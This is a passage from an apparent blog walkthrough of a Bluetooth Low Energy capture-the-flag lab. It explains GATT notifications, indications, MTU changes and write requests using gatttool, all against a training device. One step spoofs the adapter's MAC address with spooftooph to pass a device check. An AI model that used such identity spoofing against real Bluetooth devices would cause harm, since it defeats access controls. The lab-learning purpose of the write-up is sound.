<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFZaT-WyJtjRvk4BMdBOXvGlaXj9nyAgF91lXb5zl1H81h0uBdd07sFEjypWjWpH-wBYNYVg9ErwPs_WT0xb3OHUmOXi22ppmzKg3PxDTIqOJauvTHLbfbVTmIcQa-BgVEEdRXgyM-xoE/s1600/Flag10_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="244" data-original-width="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFZaT-WyJtjRvk4BMdBOXvGlaXj9nyAgF91lXb5zl1H81h0uBdd07sFEjypWjWpH-wBYNYVg9ErwPs_WT0xb3OHUmOXi22ppmzKg3PxDTIqOJauvTHLbfbVTmIcQa-BgVEEdRXgyM-xoE/s1600/Flag10_01.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
After a while running our loop, we will see how the value has changed from "<b>Read me 1000 times</b>" to "<b>6ffcd214ffebdc0d069e</b>".</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimtPdXIBACBva62k43k3ztlqxDQDrCWE30nwK81KxkroAc3CBCxXnrQwFegpoYaIgnGpi4ZcuhZSkDmpEodpPjhyphenhyphenQUTOxtdv6aT17cOdmJhJ-FxKGntX0u8RCUJbAuyeoOFKWnoy4abYQ/s1600/Flag10_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="238" data-original-width="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimtPdXIBACBva62k43k3ztlqxDQDrCWE30nwK81KxkroAc3CBCxXnrQwFegpoYaIgnGpi4ZcuhZSkDmpEodpPjhyphenhyphenQUTOxtdv6aT17cOdmJhJ-FxKGntX0u8RCUJbAuyeoOFKWnoy4abYQ/s1600/Flag10_02.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
We register the flag and check the score to consider this challenge passed.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH6A6xo8TifNAfOyM0TbUEp3V6Tg-fb2RULEk1_AUnxQkg9JwhOo9I70xQ_HD0muILjcLI1p-6E45XcpFq58mYnxMygsoabz1om3EeDxk72ldaP9ZFIx-LX9TIyEZ3OeYm_S-AdlTyexk/s1600/Flag10_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="77" data-original-width="514" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH6A6xo8TifNAfOyM0TbUEp3V6Tg-fb2RULEk1_AUnxQkg9JwhOo9I70xQ_HD0muILjcLI1p-6E45XcpFq58mYnxMygsoabz1om3EeDxk72ldaP9ZFIx-LX9TIyEZ3OeYm_S-AdlTyexk/s1600/Flag10_03.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div>
<h4>
Flag 0x0040</h4>
</div>
<div>
<div style="text-align: justify;">
When reading the handle, what it asks us on this occasion is to keep listening to it while waiting for some notification.<br />
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk3XSYXiSXOui2pk6EOqX4P-k21B-trxNPnPJdZyzGTWkLIFkOpjdYe6vEBt2m8FOSeujvHa2K9ueoFN8ndBWrAwyrccVtSgbAcZ3WdQWOIQbx7fb3tf0NYeIHk_TY2NadLdRIxAwWOvg/s1600/Flag11_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="37" data-original-width="381" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhk3XSYXiSXOui2pk6EOqX4P-k21B-trxNPnPJdZyzGTWkLIFkOpjdYe6vEBt2m8FOSeujvHa2K9ueoFN8ndBWrAwyrccVtSgbAcZ3WdQWOIQbx7fb3tf0NYeIHk_TY2NadLdRIxAwWOvg/s1600/Flag11_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
To overcome this, we are going to record the value 0100 with gatttool together with the option <span style="font-family: "courier new" , "courier" , monospace;"><b>--listen</b></span> to stay on listening (the values to keep on listening correspond to 0100 for notifications, 0200 for indications, 0300 for both).<br />
After only a few seconds we will get the necessary notification.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOFcQmCEAgxoobvvBSDFYECgC7yc68K9mHewsKX3tcP9TU-Z7j-M0xY3uImD5gEQYWwFpDCsHiFvkELKx2eudHONBp5q4RTe3aauLM7KJQhJdx99D5VvYCf0tLu4sSS_x3wnIiysvXpd8/s1600/Flag11_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="883" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOFcQmCEAgxoobvvBSDFYECgC7yc68K9mHewsKX3tcP9TU-Z7j-M0xY3uImD5gEQYWwFpDCsHiFvkELKx2eudHONBp5q4RTe3aauLM7KJQhJdx99D5VvYCf0tLu4sSS_x3wnIiysvXpd8/s1600/Flag11_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
All we have to do now is to remit the flag and check the score: we have already overcome half the challenges!!!<br />
<br /></div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmLXCHff6xGdhGRGJSGGsdzsittkwHmm73n9_AVRqCERHnF4li1FWXxuobiZrHE6ZR4RoR33-Jusb4xGxnNeZrDiescNjemm0E8oDB90TwJGipKuJZO06hTUd8Ayy8DXhSZV37fSNGEQA/s1600/Flag11_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="111" data-original-width="1056" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmLXCHff6xGdhGRGJSGGsdzsittkwHmm73n9_AVRqCERHnF4li1FWXxuobiZrHE6ZR4RoR33-Jusb4xGxnNeZrDiescNjemm0E8oDB90TwJGipKuJZO06hTUd8Ayy8DXhSZV37fSNGEQA/s1600/Flag11_02.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x0042</h4>
</div>
<div>
<div style="text-align: justify;">
This time when reading the handle what it tells us is that we should listen handle <b>0x0044</b> for a "indication".</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcjKWcpqLL_bVJiQXeGoEeyWaCPXpAnq6DUKa_-1m9eYLFUEzN_50Otvy6qpMMpHE9giay0ismukeMEKSTdQHM6PfJu8r6e9G-CnmJP3bSJMKC6XxuRzNjdPrPY4m5MvGel88TCqb6p5s/s1600/Flag12_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="439" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcjKWcpqLL_bVJiQXeGoEeyWaCPXpAnq6DUKa_-1m9eYLFUEzN_50Otvy6qpMMpHE9giay0ismukeMEKSTdQHM6PfJu8r6e9G-CnmJP3bSJMKC6XxuRzNjdPrPY4m5MvGel88TCqb6p5s/s1600/Flag12_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
As we have seen in the previous challenge, with the <span style="font-family: "courier new" , "courier" , monospace;"><b>--listen</b></span> option we can use values of 0100 for notifications, 0200 for indications and 0300 for both, as it explicitly indicates us that we will listen to an indication we will use the value 0200 in this occasion.<br />
After only a few seconds we will get the necessary notification.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTnQwAuRiSBTIBRy9zPudxj3Lqh7rZJOZxGR-ZfxgaeWjOAlT8K0F-Mir-xbMMDxmCqnlfZ0GObHfwHnfY1ki18ygHb1R2eTsDRFWqKmnTtoOtatIFqUqZu7i240eMLaZGBT5jzzf_3Jo/s1600/Flag12_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="71" data-original-width="888" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTnQwAuRiSBTIBRy9zPudxj3Lqh7rZJOZxGR-ZfxgaeWjOAlT8K0F-Mir-xbMMDxmCqnlfZ0GObHfwHnfY1ki18ygHb1R2eTsDRFWqKmnTtoOtatIFqUqZu7i240eMLaZGBT5jzzf_3Jo/s1600/Flag12_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div style="text-align: justify;">
All that remains is to send the flag and check the score.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZowhfxmZBFoD6TRw6GRa8zJE2HH-RgpXJ2r71SJMk-gGw9VZaWxUqiCRVJu470IaaNOzYmZVq1hUi6LnZ_FMHSGPShRMdOqGnx3Zyk1gDYAL5t0cLzWZWKE1s2E2zjDxOXKlJvEfrQsc/s1600/Flag12_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="111" data-original-width="1058" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZowhfxmZBFoD6TRw6GRa8zJE2HH-RgpXJ2r71SJMk-gGw9VZaWxUqiCRVJu470IaaNOzYmZVq1hUi6LnZ_FMHSGPShRMdOqGnx3Zyk1gDYAL5t0cLzWZWKE1s2E2zjDxOXKlJvEfrQsc/s1600/Flag12_02.png" /></a></div>
<div>
<br />
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x0046</h4>
</div>
<div>
<div style="text-align: justify;">
We read the handle and observe that it asks us exactly the same as in the previous flag but this time it talks about several notifications.</div>
</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyg8bWuViQ6zJMnOhTK5GiTvuLwXVQHUf319IAh3MVJfnh7uDmqwm2LxK9ys3_4UNxbxuEKhXXW7UFvIQgs5txLmyuAoS9OdJJnLEdwEZ66tHiUv82Adakf32JyTpTkRDyyik4dejfb8g/s1600/Flag13_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="357" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyg8bWuViQ6zJMnOhTK5GiTvuLwXVQHUf319IAh3MVJfnh7uDmqwm2LxK9ys3_4UNxbxuEKhXXW7UFvIQgs5txLmyuAoS9OdJJnLEdwEZ66tHiUv82Adakf32JyTpTkRDyyik4dejfb8g/s1600/Flag13_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
We repeat the same command as in the previous flag and we receive a first notification different from the second and consecutive ones.</div>
</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKBkclNCQKGShcRvQXg4oRdaTax9kzuFNbSg7nWFecg_bGNxqLv7R8v3ZGbad-w2Av4-4ar9-YxtkprLvGhFKX8fsayyMnFqcJPEKReEtLwGcz-tRU08vffds_N05FcpSzUyYn154r5KE/s1600/Flag13_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="127" data-original-width="859" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKBkclNCQKGShcRvQXg4oRdaTax9kzuFNbSg7nWFecg_bGNxqLv7R8v3ZGbad-w2Av4-4ar9-YxtkprLvGhFKX8fsayyMnFqcJPEKReEtLwGcz-tRU08vffds_N05FcpSzUyYn154r5KE/s1600/Flag13_02.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
We convert them and clearly see how the first one we can discard it directly (U no want this msg) and the second one is the one that looks best for our purpose.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq4LVfaI4ttZ6ACb9Cpzi9Ajb3xXhPifxND7pq-aBZLJafvIRz3lFcQKUDoX7r5_2QXyBipL_JKp7f8oYKVLnZ3laN02O1A1DTlsNPGb5SaJY7mPvBIQbFYaNiv4ZGT1g4zCncVbmuHKM/s1600/Flag13_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="95" data-original-width="1055" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq4LVfaI4ttZ6ACb9Cpzi9Ajb3xXhPifxND7pq-aBZLJafvIRz3lFcQKUDoX7r5_2QXyBipL_JKp7f8oYKVLnZ3laN02O1A1DTlsNPGb5SaJY7mPvBIQbFYaNiv4ZGT1g4zCncVbmuHKM/s1600/Flag13_03.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Try our luck with that second notice and: voilá! We got it!</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6w4YpsJuM83JOWHIRHgCsJtWHoCpCGefFixKN7MPGwxUnAH-QHOoyiAXaDlYNkWJOIBt64HDK15lSvGqbtgTNxu4XkE5gzYaMbV2SMDHovHquWdKc8jUqz9cNjrBo1PU722wTD90fkbM/s1600/Flag13_04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="76" data-original-width="459" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6w4YpsJuM83JOWHIRHgCsJtWHoCpCGefFixKN7MPGwxUnAH-QHOoyiAXaDlYNkWJOIBt64HDK15lSvGqbtgTNxu4XkE5gzYaMbV2SMDHovHquWdKc8jUqz9cNjrBo1PU722wTD90fkbM/s1600/Flag13_04.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<h4>
Flag 0x0048</h4>
</div>
<div>
<div style="text-align: justify;">
This handle is a bit strange... because basically it's asking us the same thing as in the previous challenge, only this time it asks us to listen to the multiple notifications in a different handle than itself.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilOy48CJVctaomXVVkZ_OiPmIWQ3i-Xf0wY-tAea8SURGHhqBgvODidJ3M7GvZ_EKDNySUp_jtBy-59Sq528vWkbCSzX350Db4fWNl77u5E8k4RpWAzlUmtHNqKkh8jcx6lvYetpANcRE/s1600/Flag14_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="432" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilOy48CJVctaomXVVkZ_OiPmIWQ3i-Xf0wY-tAea8SURGHhqBgvODidJ3M7GvZ_EKDNySUp_jtBy-59Sq528vWkbCSzX350Db4fWNl77u5E8k4RpWAzlUmtHNqKkh8jcx6lvYetpANcRE/s1600/Flag14_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
We repeat therefore all the steps that in the previous challenge but this time on the flag <b>0x004a</b> and we will end up arriving at the necessary flag and uploading it to the scoreboard in the same way.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrQkmq4HYZrKy8eaAlYUfA3vF1tkiANX_sU4Tn5dTOicZTGxlK5hJPCCDhT15ttPt_k2fcOBtVnQRPgTly5bc7p-Vs7BEoT-KB5oKvRiFD3mjpbi8pq-Ul3IprgN81yO21aP5OWx3VZUI/s1600/Flag14_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="96" data-original-width="863" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrQkmq4HYZrKy8eaAlYUfA3vF1tkiANX_sU4Tn5dTOicZTGxlK5hJPCCDhT15ttPt_k2fcOBtVnQRPgTly5bc7p-Vs7BEoT-KB5oKvRiFD3mjpbi8pq-Ul3IprgN81yO21aP5OWx3VZUI/s1600/Flag14_01.png" /></a></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzvzShblUsAOIG7KljFvqP8VtcXDYdsUDjPc7szzXs22kTGSn7PeWF13tae6Az_M_YoJKnFGjyxwL4jcIs3ecLz54lPzVZw84neh5wgwVGJAR-aai5jFBBZ_agwBpSP8xKqKy6Ok80J1Y/s1600/Flag14_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="82" data-original-width="1067" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzvzShblUsAOIG7KljFvqP8VtcXDYdsUDjPc7szzXs22kTGSn7PeWF13tae6Az_M_YoJKnFGjyxwL4jcIs3ecLz54lPzVZw84neh5wgwVGJAR-aai5jFBBZ_agwBpSP8xKqKy6Ok80J1Y/s1600/Flag14_03.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk29Xkgu7D8Yi7ywyAec6UZzOkwVKEHJRFYoa_7dof0X4kPV2Pov03U6NJ9_cv_W-V7Nsvz_FsbVRwr0k4UHqXyAtQ0uRwLn6PXyBLLW1OIATSrluw18uZHTZW5o5HjSRH0UryAck8wWs/s1600/Flag14_04.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="72" data-original-width="449" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk29Xkgu7D8Yi7ywyAec6UZzOkwVKEHJRFYoa_7dof0X4kPV2Pov03U6NJ9_cv_W-V7Nsvz_FsbVRwr0k4UHqXyAtQ0uRwLn6PXyBLLW1OIATSrluw18uZHTZW5o5HjSRH0UryAck8wWs/s1600/Flag14_04.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<h4>
Flag 0x004c</h4>
</div>
<div>
<div style="text-align: justify;">
This challenge told us that to obtain the flag we must interact with this handle with a certain MAC address in our adapter, specifically <span style="font-family: "courier new" , "courier" , monospace;"><b>11:22:33:44:55:66</b></span>.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuKc2cUiFo7D4ehvcsGeWTNXlY4_EP-TW4db08uGW3SCa7Xohi2jIBtmc_1tw_hLIrFB1EGmN-m_ePLIGs8-C9Omr25-Uf-e-HsmCC2rlIOUVhlrvUOq6jwiGfK1bBmGZph5OHDKOUGfk/s1600/Flag15_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="413" height="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuKc2cUiFo7D4ehvcsGeWTNXlY4_EP-TW4db08uGW3SCa7Xohi2jIBtmc_1tw_hLIrFB1EGmN-m_ePLIGs8-C9Omr25-Uf-e-HsmCC2rlIOUVhlrvUOq6jwiGfK1bBmGZph5OHDKOUGfk/s320/Flag15_00.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
To spoof the MAC address of our adapter (WARNING! Not all Bluetooth adapters will allow you to do this) we will use the <b><span style="font-family: "courier new" , "courier" , monospace;">spooftooph</span></b> tool indicating our interface and the new MAC we want to obtain.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbdakCdztHvYNjHyIsN6xrcxMgC2H53cXHdMysgd31fTESoIrAkBlBFfnfyhOJh4N33k4N2rnpz0tUORgrTlJDC1H0UGqdmAqNS-ufif0Q52STOB1xA0NpSx25Hip4-15PIqRiGHVB8Wo/s1600/Flag15_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="118" data-original-width="517" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbdakCdztHvYNjHyIsN6xrcxMgC2H53cXHdMysgd31fTESoIrAkBlBFfnfyhOJh4N33k4N2rnpz0tUORgrTlJDC1H0UGqdmAqNS-ufif0Q52STOB1xA0NpSx25Hip4-15PIqRiGHVB8Wo/s1600/Flag15_01.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
<span style="font-family: "times" , "times new roman" , serif;">We can make sure that the exchange is effective and correct with </span><span style="font-family: "courier new" , "courier" , monospace;"><b>hcitool dev</b></span><span style="font-family: "times" , "times new roman" , serif;">.</span></div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxJag4TOUw-qE_ilbTBr9QrGFt1Zc4PpeXxoRmoGRrA8_5BgJ8JsvK6gk28jj7ya9eQGIT9Fl0y-Y9YXSRjVr6pKAn0b6bbPm5mXn2vAz5BGfE19OTVI44erLXTdfBPM0mUGYh81AUsVI/s1600/Flag15_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="62" data-original-width="421" height="47" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxJag4TOUw-qE_ilbTBr9QrGFt1Zc4PpeXxoRmoGRrA8_5BgJ8JsvK6gk28jj7ya9eQGIT9Fl0y-Y9YXSRjVr6pKAn0b6bbPm5mXn2vAz5BGfE19OTVI44erLXTdfBPM0mUGYh81AUsVI/s320/Flag15_02.png" width="320" /></a></div>
<br />
<br />
<div style="text-align: justify;">
Once we have the MAC address that we have indicated in our adapter, we read again the characteristics of the handle and we proceed to put the flag with the result that returns to us in order to raise another point to our marker.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipXe0d56K-8_jjvCjYj74A0JGxvc0a825uhiQwxeRwuDaM6Poldk-Y1HKwimpIWf5a1gxP-_C9V0Mku4kvJ7-7P2V3dXgBsyIZM6jAB_OqNUQpRIyim4RBE5Byh19VXqDiKz265dsUqCs/s1600/Flag15_03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="107" data-original-width="1079" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipXe0d56K-8_jjvCjYj74A0JGxvc0a825uhiQwxeRwuDaM6Poldk-Y1HKwimpIWf5a1gxP-_C9V0Mku4kvJ7-7P2V3dXgBsyIZM6jAB_OqNUQpRIyim4RBE5Byh19VXqDiKz265dsUqCs/s1600/Flag15_03.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x004e</h4>
</div>
<div>
<div style="text-align: justify;">
In this handle we are invited to play with the <b>MTU</b> value (Maximum Transfer Unit, which expresses the size in bytes of the largest data unit that can be sent using a communications protocol).<br />
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU4ulr8qa_wPmkEBsY1Y5OjI6bzAMyyngw_CKkFTkz3rT8o2tCFOSdZHpHBrJTrQMwzq-ewibZigBozn_MJ6YWEelcYFvNtJND91fzBKzXzURTkIbv6Dmfq489TBXa5lz62W-Q1uEWb6A/s1600/Flag16_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU4ulr8qa_wPmkEBsY1Y5OjI6bzAMyyngw_CKkFTkz3rT8o2tCFOSdZHpHBrJTrQMwzq-ewibZigBozn_MJ6YWEelcYFvNtJND91fzBKzXzURTkIbv6Dmfq489TBXa5lz62W-Q1uEWb6A/s1600/Flag16_00.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
For this we are going to connect through gatttool with an interactive session to the device and once connected we are going to use the <b><span style="font-family: "courier new" , "courier" , monospace;">mtu</span></b> command to assign it a value of <b><span style="font-family: "courier new" , "courier" , monospace;">44</span></b> as requested and then we read again the handle <b>0x004e</b> and obtain the hexadecimal string.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj12zFfKfQCZibZclXDFlc0BKtSSY2A2FAArotvojRSIwB31Vkw6poK3743sgm7Y0kFmzUOme4N3Pkt5FzipYnbYKGmLlkKWi3TsmffIgAAuoyDBSMnYUYUigUIY0UW3IMRPgHjcNPCA18/s1600/Flag16_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="161" data-original-width="852" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj12zFfKfQCZibZclXDFlc0BKtSSY2A2FAArotvojRSIwB31Vkw6poK3743sgm7Y0kFmzUOme4N3Pkt5FzipYnbYKGmLlkKWi3TsmffIgAAuoyDBSMnYUYUigUIY0UW3IMRPgHjcNPCA18/s1600/Flag16_01.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
We send the flag and... we're already much closer to the goal!<br />
<br /></div>
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4tRt4JebWSkfd3EF5vCaLV8Xptbp5-5KlY6MfirVmuYcxbh6Gq-OD6D6kMdOpbIWuRwW5ZoCTzFkSqz0e7SkbPBPAvxQk3wrWOMCgc6TuK31PicoqyX-m0ETNVjFriX6zSbsAGuaOcCE/s1600/Flag16_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="109" data-original-width="1077" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4tRt4JebWSkfd3EF5vCaLV8Xptbp5-5KlY6MfirVmuYcxbh6Gq-OD6D6kMdOpbIWuRwW5ZoCTzFkSqz0e7SkbPBPAvxQk3wrWOMCgc6TuK31PicoqyX-m0ETNVjFriX6zSbsAGuaOcCE/s1600/Flag16_02.png" /></a></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<h4>
Flag 0x0050</h4>
</div>
<div>
<div style="text-align: justify;">
This handle asks us to write "<b><span style="font-family: "courier new" , "courier" , monospace;">hello</span></b>" but seems to indicate that we should also expect a response.<br />
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCQFTtLlQaMAOVv0_VgScxj27iwfgl-E7RKhrB6JucT4xC_NcH7CeenjMT_ATzofAXzNtbyof7svxEveyRj1MEIGMxWKfkQvEyv_CIpk2yY5IZyGAdkaZzWrlZSX3UR5Uc5y6puf6yh2Q/s1600/Flag17_00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="39" data-original-width="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCQFTtLlQaMAOVv0_VgScxj27iwfgl-E7RKhrB6JucT4xC_NcH7CeenjMT_ATzofAXzNtbyof7svxEveyRj1MEIGMxWKfkQvEyv_CIpk2yY5IZyGAdkaZzWrlZSX3UR5Uc5y6puf6yh2Q/s1600/Flag17_00.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
To get it right, instead of using the <b><span style="font-family: "courier new" , "courier" , monospace;">--char-write</span></b> modifier, which only writes but doesn't expect a response, we should use <b><span style="font-family: "courier new" , "courier" , monospace;">--char-write-req</span></b>, which still makes a write request but in addition remains expecting a response from the server.</div>
</div>
<div>
<div style="text-align: justify;">
After doing this we read the handle again and notice that it has already changed.</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
